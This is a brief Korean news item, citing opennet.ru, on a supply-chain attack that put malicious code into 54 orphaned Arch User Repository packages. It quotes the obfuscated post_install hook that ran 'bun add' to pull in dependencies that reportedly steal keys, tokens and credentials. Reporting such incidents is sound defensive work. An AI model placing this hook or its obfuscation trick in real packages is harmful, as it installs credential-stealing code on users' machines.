AUR에 등록된 패키지 54개에 악성 코드가 삽입되었습니다.

Arch 개발자들이 취한 조치에도 불구하고 LinuxAUR(Arch User Repository) 저장소에서 악성 코드 삽입 활동이 아직 중단되지 않았습니다. 몇 시간 전, 관리자가 없는 54개의 패키지에 악성 코드가 삽입되었습니다(악성 수정 내역은 되돌려졌습니다). 그저께 발생한 공격과는 달리, 이번에는 npm 패키지 관리자 대신 bun 플랫폼을 사용하여 악성 종속성을 설치했습니다. 구현된 필터를 우회하기 위해 post_install 함수에 난독화된 문자열을 삽입하여 "bun add" 명령을 호출함으로써 악성 코드가 포함된 패키지를 설치하고, 이 명령은 패키지를 스캔하여 외부 서버로 전송합니다. 서버 키, 토큰 및 자격 증명.

post_install() {
$'\x63′"d" "/"'t'"m"'p' && "b"u"n' 'a'"d"'d' $'\141\x6e"s'"i""-"$'\143"o"l"o"r'$'\x73′ 'n'"e"'x'"t""f"'i"l"e"-"j"s'
}

출처 : opennet.ru